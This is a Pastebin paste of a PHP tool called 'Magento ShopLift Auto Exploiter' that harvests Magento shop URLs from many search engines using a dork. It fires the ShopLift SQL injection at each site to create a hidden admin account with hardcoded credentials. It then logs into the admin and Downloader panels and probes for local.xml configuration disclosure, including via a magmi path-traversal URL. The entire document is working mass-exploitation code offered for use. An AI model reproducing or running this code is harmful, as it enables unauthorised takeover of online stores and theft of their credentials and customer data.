Guest User

Untitled

a guest
Sep 24th, 2016
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.56 KB | None | 0 0
  1. <?php
  2. /* ++++++++++++++++++++++++++++++++++
  3. ShopLift Exploiter Beta Version
  4. Author : FathurFreakz
  5. Recoded by ./MekiTembem404
  6. Use : php thisfile.php "Dork"
  7. +++++++++++++++++++++++++++++++++
  8. */
  9. set_time_limit(0);
  10. class ShopLiftFathurFreakz {
  11. private $dork = "";
  12. private $username = "jaws256";
  13. private $password = "9990a666";
  14.  
  15. public function Dork($dork){
  16. $this->dork = $dork;
  17. return $this->dork;
  18. }
  19.  
  20. private function CurlPost($url, $post = false){
  21. $ch = curl_init();
  22. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  23. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  24. curl_setopt($ch, CURLOPT_URL, $url);
  25. curl_setopt($ch, CURLOPT_HEADER, 0);
  26. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  27. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  28. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  29. if($post !== false){
  30. $isi = '';
  31. foreach($post as $key=>$value){
  32. $isi .= $key.'='.$value.'&';
  33. }
  34. rtrim($isi, '&');
  35. curl_setopt($ch, CURLOPT_URL, $url);
  36. curl_setopt($ch, CURLOPT_POST, count($isi));
  37. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  38. curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  39. }
  40. $data = curl_exec($ch);
  41. curl_close($ch);
  42. return $data;
  43. }
  44.  
  45. private function GetStr($start,$end,$string){
  46. $a = explode($start,$string);
  47. $b = explode($end,$a[1]);
  48. return $b[0];
  49. }
  50.  
  51. private function LoginDownloader($url){
  52. $link = parse_url($url);
  53. $data = $this->CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
  54. array("username" => $this->username,
  55. "password" => $this->password)
  56. );
  57. if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
  58. $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
  59. return "Success\nPermission\t\t: ".$permission;
  60. } else {
  61. return "Failed";
  62. }
  63. }
  64.  
  65. private function LoginAdmin($target){
  66. $link = parse_url($target);
  67. $get = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]));
  68. $key = $this->GetStr("<input name=\"form_key\" type=\"hidden\" value=\"","\" />",$get);
  69. $data = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]),
  70. array("login[username]" => $this->username,
  71. "login[password]" => $this->password,
  72. "form_key" => $key)
  73. );
  74. if($this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]))){
  75. return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data)."\nInstaled\t\t:".$this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]));
  76. } else {
  77. return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data);
  78. }
  79. }
  80.  
  81. private function ShopLiftExploit($target){
  82. $email = substr(md5(time()),2,15);
  83. $link = parse_url($target);
  84. $data = $this->CurlPost(sprintf("%s://%s/admin/Cms_Wysiwyg/directive/index/",$link["scheme"],$link["host"]),
  85. array("filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT = 'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{$this->password}') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','{$email}@telekpitekwashere.cok','{$this->username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{$this->username}'),'Firstname');"),
  86. "___directive" => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
  87. "forwarded" => "1")
  88. );
  89. return (@imagecreatefromstring($data) !== false);
  90. }
  91.  
  92. private function ExecuteExploit($victim){
  93. $file = fopen("ShopLift-".date("d-m-Y").".log","a");
  94. $url = parse_url($victim);
  95. $target = (!isset($url["scheme"]) ? "http://".$victim : $url["scheme"]."://".$url["host"]);
  96. if($this->ShopLiftExploit($target)){
  97. $downloader = $this->LoginDownloader($target);
  98. $admin = $this->LoginAdmin($target);
  99. $result = "\n============[Result]============\nSite\t\t\t: {$target}\nLogin Admin\t\t: {$admin}\nLogin Downloader\t: {$downloader}\n===========================================\n";
  100. fwrite($file,$result);
  101. return $result;
  102. } else {
  103. return "[".date("H:i:s")."] ".$target." => Failed This Site Not Vuln!\n";
  104. }
  105. fclose($file);
  106. }
  107.  
  108. private function LocalFileDiscloure($target){
  109. $path = array( "/app/etc/local.xml",
  110. "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  111. );
  112. for($i=0;$i<=count($path);$i++){
  113. $test = $this->CurlPost($target.$path[$i]);
  114. if(isset($test) && preg_match('/install/i',$test) && preg_match('/date/i',$test)){
  115. return $this->GetStr("<date><![CDATA[","]]></date>",$test);
  116. } else {
  117. return false;
  118. }
  119. }
  120. }
  121.  
  122. public function SearchEngine($engine){
  123. $list = array();
  124. $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  125. $ccgoogle = array("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  126. $ccask = array("au","uk","ca","de","it","fr","es","ru","nl","pl","at","se","dk","no","br","mx","jp");
  127. $ccyahoo = array("au","ru","at","pl","il","tr","ua","gr","jp","cn","my","id","th","in","kr","tw","ro","za","pt","ca","uk","de","fr","es","it","hk","mx","br","ar","nl","dk","ph","cl","ru","co","fi","ve","nz","pe");
  128. switch($engine){
  129. case 1:
  130. for($i=0;$i<=1000;$i+=10){
  131. $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
  132. preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  133. foreach($m[1] as $link){
  134. if(!preg_match("/live|msn|bing|microsoft/",$link)){
  135. if(!in_array($link,$list)){
  136. $list[] = $link;
  137. }
  138. }
  139. }
  140. echo "[".date("H:i:s")."] Catch Bing (".count(array_unique($m[1])).")\n";
  141. }
  142. echo "[".date("H:i:s")."] Total Bing : ".count($list)."\n";
  143. break;
  144. case 2:
  145. for($x=0;$x<=count($ccbing)-1;$x++){
  146. for($i=0;$i<=1000;$i+=10){
  147. $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
  148. preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
  149. foreach($m[1] as $link){
  150. if(!preg_match("/live|msn|bing|microsoft/",$link)){
  151. if(!in_array($link,$list)){
  152. $list[] = $link;
  153. }
  154. }
  155. }
  156. echo "[".date("H:i:s")."] Catch Bing.".$ccbing[$x]." (".count(array_unique($m[1])).")\n";
  157. }
  158. }
  159. echo "[".date("H:i:s")."] Total Bing World : ".count($list)."\n";
  160. break;
  161. case 3:
  162. for($x=0;$x<=count($ccgoogle)-1;$x++){
  163. for($i=0;$i<=200;$i+=10){
  164. $search = $this->CurlPost("http://www.google.".$ccgoogle[$x]."/search?num=50&q=".urlencode($this->dork)."&start=".$i."&sa=N");
  165. preg_match_all('/<a href=\"?http:\/\/([^>\"]*)\//m', $search, $m);
  166. foreach($m[1] as $link){
  167. if(!preg_match("/google/",$link)){
  168. if(!in_array($link,$list)){
  169. $list[] = $link;
  170. }
  171. }
  172. }
  173. echo "[".date("H:i:s")."] Catch Google.".$ccgoogle[$x]." (".count(array_unique($m[1])).")\n";
  174. }
  175. }
  176. echo "[".date("H:i:s")."] Total Google World : ".count($list)."\n";
  177. break;
  178. case 4:
  179. for($x=0;$x<=count($ccask)-1;$x++){
  180. for($i=1;$i<=1000;$i+=100){
  181. $search = $this->CurlPost("http://".$ccask[$x].".ask.com/web?q=".urlencode($this->dork)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  182. preg_match_all('/href=\"http:\/\/(.*?)\" onmousedown=/m', $search, $m);
  183. foreach($m[1] as $link){
  184. if(!preg_match("/ask\.com/",$link)){
  185. if(!in_array($link,$list)){
  186. $list[] = $link;
  187. }
  188. }
  189. }
  190. echo "[".date("H:i:s")."] Catch Ask.".$ccask[$x]."(".count(array_unique($m[1])).")\n";
  191. }
  192. }
  193. echo "[".date("H:i:s")."] Total Ask World : ".count($list)."\n";
  194. break;
  195. case 5:
  196. for($i=1;$i<=100;$i+=1){
  197. $search = $this->CurlPost("http://search.walla.co.il/?q=".urlencode($this->dork)."&type=text&page=".$i);
  198. preg_match_all('/<a href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  199. foreach($m[1] as $link){
  200. if(!preg_match("/walla\.co\.il/",$link)){
  201. if(!in_array($link,$list)){
  202. $list[] = $link;
  203. }
  204. }
  205. }
  206. echo "[".date("H:i:s")."] Catch Walla (".count(array_unique($m[1])).")\n";
  207. }
  208. echo "[".date("H:i:s")."] Total Walla : ".count($list)."\n";
  209. break;
  210. case 6:
  211. for($i=1;$i<=400;$i+=10){
  212. $search = $this->CurlPost("http://szukaj.onet.pl/".$i.",query.html?qt=".urlencode($this->dork));
  213. preg_match_all('/<a href=\"http:\/\/(.*?)\">/m', $search, $m);
  214. foreach($m[1] as $link){
  215. if(!preg_match("/onet|webcache|query/",$link)){
  216. if(!in_array($link,$list)){
  217. $list[] = $link;
  218. }
  219. }
  220. }
  221. echo "[".date("H:i:s")."] Catch Onet (".count(array_unique($m[1])).")\n";
  222. }
  223. echo "[".date("H:i:s")."] Total Onet : ".count($list)."\n";
  224. break;
  225. case 7:
  226. for($i=1;$i<=50;$i+=1){
  227. $search = $this->CurlPost("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$i."&q=".urlencode($this->dork)."&st=local");
  228. preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  229. foreach($m[1] as $link){
  230. if(!preg_match("/\.sapo\.pt/",$link)){
  231. if(!in_array($link,$list)){
  232. $list[] = $link;
  233. }
  234. }
  235. }
  236. echo "[".date("H:i:s")."] Catch Sapo (".count(array_unique($m[1])).")\n";
  237. }
  238. echo "[".date("H:i:s")."] Total Sapo : ".count($list)."\n";
  239. break;
  240. case 8:
  241. for($i=1;$i<=50;$i+=1){
  242. $search = $this->CurlPost("http://search.lycos.com/web?q=".urlencode($this->dork)."&pn=".$i);
  243. preg_match_all('/title=\"http:\/\/(.*?)\"/m', $search, $m);
  244. foreach($m[1] as $link){
  245. if(!preg_match("/lycos/",$link)){
  246. if(!in_array($link,$list)){
  247. $list[] = $link;
  248. }
  249. }
  250. }
  251. echo "[".date("H:i:s")."] Catch Lycos (".count(array_unique($m[1])).")\n";
  252. }
  253. echo "[".date("H:i:s")."] Total Lycos : ".count($list)."\n";
  254. break;
  255. case 9:
  256. for($i=1;$i<=1000;$i+=10){
  257. $search = $this->CurlPost("http://busca.uol.com.br/web/?ref=homeuol&q=".urlencode($this->dork)."&start=".$i);
  258. preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  259. foreach($m[1] as $link){
  260. if(!preg_match("/uol\.com\.br|\/web/i",$link)){
  261. if(!in_array($link,$list)){
  262. $list[] = $link;
  263. }
  264. }
  265. }
  266. echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  267. }
  268. echo "[".date("H:i:s")."] Total Uol : ".count($list)."\n";
  269. break;
  270. case 10:
  271. for($i=1;$i<=300;$i+=20){
  272. $search = $this->CurlPost("http://search.seznam.cz/?q=".urlencode($this->dork)."&count=20&from=".$i);
  273. preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  274. foreach($m[1] as $link){
  275. if(!preg_match("/seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i",$link)){
  276. if(!in_array($link,$list)){
  277. $list[] = $link;
  278. }
  279. }
  280. }
  281. echo "[".date("H:i:s")."] Catch Seznam (".count(array_unique($m[1])).")\n";
  282. }
  283. echo "[".date("H:i:s")."] Total Seznam : ".count($list)."\n";
  284. break;
  285. case 11:
  286. for($i=1;$i<=50;$i+=1){
  287. $search = $this->CurlPost("http://www.hotbot.com/search/web?pn=".$i."&q=".urlencode($this->dork));
  288. preg_match_all('/href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  289. foreach($m[1] as $link){
  290. if(!preg_match("/hotbot\.com/",$link)){
  291. if(!in_array($link,$list)){
  292. $list[] = $link;
  293. }
  294. }
  295. }
  296. echo "[".date("H:i:s")."] Catch Hotbot (".count(array_unique($m[1])).")\n";
  297. }
  298. echo "[".date("H:i:s")."] Total Hotbot : ".count($list)."\n";
  299. break;
  300. case 12:
  301. for($i=1;$i<=300;$i+=10){
  302. $search = $this->CurlPost("http://search.aol.com/aol/search?q=".urlencode($this->dork)."&page=".$i);
  303. preg_match_all('/href=\"http:\/\/(.*?)\"/m', $search, $m);
  304. foreach($m[1] as $link){
  305. if(!preg_match("/aol\.com/",$link)){
  306. if(!in_array($link,$list)){
  307. $list[] = $link;
  308. }
  309. }
  310. }
  311. echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  312. }
  313. echo "[".date("H:i:s")."] Total Aol : ".count($list)."\n";
  314. break;
  315. case 13:
  316. for($i=1;$i<=1000;$i+=10){
  317. $search = $this->CurlPost("http://search.yahoo.com/search?p=".urlencode($this->dork)."&b=".$i);
  318. preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  319. foreach($m[1] as $link){
  320. if(!preg_match("/yahoo/",$link)){
  321. if(!in_array($link,$list)){
  322. $list[] = $link;
  323. }
  324. }
  325. }
  326. echo "[".date("H:i:s")."] Catch Yahoo (".count(array_unique($m[1])).")\n";
  327. }
  328. echo "[".date("H:i:s")."] Total Yahoo : ".count($list)."\n";
  329. break;
  330. case 14:
  331. for($x=0;$x<=count($ccyahoo)-1;$x++){
  332. for($i=1;$i<=1000;$i+=100){
  333. $search = $this->CurlPost("http://".$ccyahoo[$x].".search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".urlencode($this->dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  334. preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  335. foreach($m[1] as $link){
  336. if(!preg_match("/yahoo".$ccyahoo[$x]."/",$link)){
  337. if(!in_array($link,$list)){
  338. $list[] = $link;
  339. }
  340. }
  341. }
  342. echo "[".date("H:i:s")."] Catch Yahoo.".$ccyahoo[$x]." (".count(array_unique($m[1])).")\n";
  343. }
  344. }
  345. echo "[".date("H:i:s")."] Total Yahoo World : ".count($list)."\n";
  346. break;
  347. }
  348. if(count($list)>0){
  349. echo "Exploiting target ".count($list).". Please wait ... \n";
  350. foreach($list as $do){
  351. echo $this->ExecuteExploit($do);
  352. }
  353. }
  354. }
  355.  
  356. public function ExploitLogo(){
  357. $logo = "==================================================\n";
  358. $logo .= "#\t Magento ShopLift Auto Exploiter \t #\n";
  359. $logo .= "#------------------------------------------------#\n";
  360. $logo .= "#\t Author \t: FathurFreakz \t\t #\n";
  361. $logo .= "#\t \t\t: Recoded By ./MekiTembem404 #\n";
  362. $logo .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n";
  363. $logo .= "#------------------------------------------------#\n";
  364. $logo .= "#\t (C) ".date("Y")." TCA TEAM \t\t #\n";
  365. $logo .= "==================================================\n";
  366. echo $logo;
  367. }
  368. }
  369. $Exploiter = new ShopLiftFathurFreakz();
  370. if(isset($argv[1]) && !empty($argv[1])){
  371. if($argv[1]=="-l" && !empty($argv[2])){
  372. $file = file_get_contents($argv[2]);
  373. $list = explode("\n",$file);
  374. if(isset($list)){
  375. echo "Starting engine ....\n";
  376. flush();
  377. sleep(2);
  378. echo "[".date("H:i:s")."] Scanning ".count($list)." Dork. Please Wait.... \n";
  379. foreach($list as $dork){
  380. echo "[".date("H:i:s")."] Scanning target for dork : {$dork}\n";
  381. $Exploiter->Dork($dork);
  382. for($i=0;$i<15;$i++){
  383. $Exploiter->SearchEngine($i);
  384. flush();
  385. sleep(1);
  386. }
  387. }
  388. }
  389. } else {
  390. echo "Starting engine ....\n";
  391. flush();
  392. sleep(2);
  393. echo "[".date("H:i:s")."] Scanning Target For Dork : {$argv[1]}\n";
  394. $Exploiter->Dork($argv[1]);
  395. for($i=0;$i<15;$i++){
  396. $Exploiter->SearchEngine($i);
  397. flush();
  398. sleep(1);
  399. }
  400. }
  401. echo "Scan finished !!!\n";
  402. flush();
  403. sleep(1);
  404. echo "Shuting down engine !!!\n";
  405. } else {
  406. $Exploiter->ExploitLogo();
  407. }
Add Comment
Please, Sign In to add comment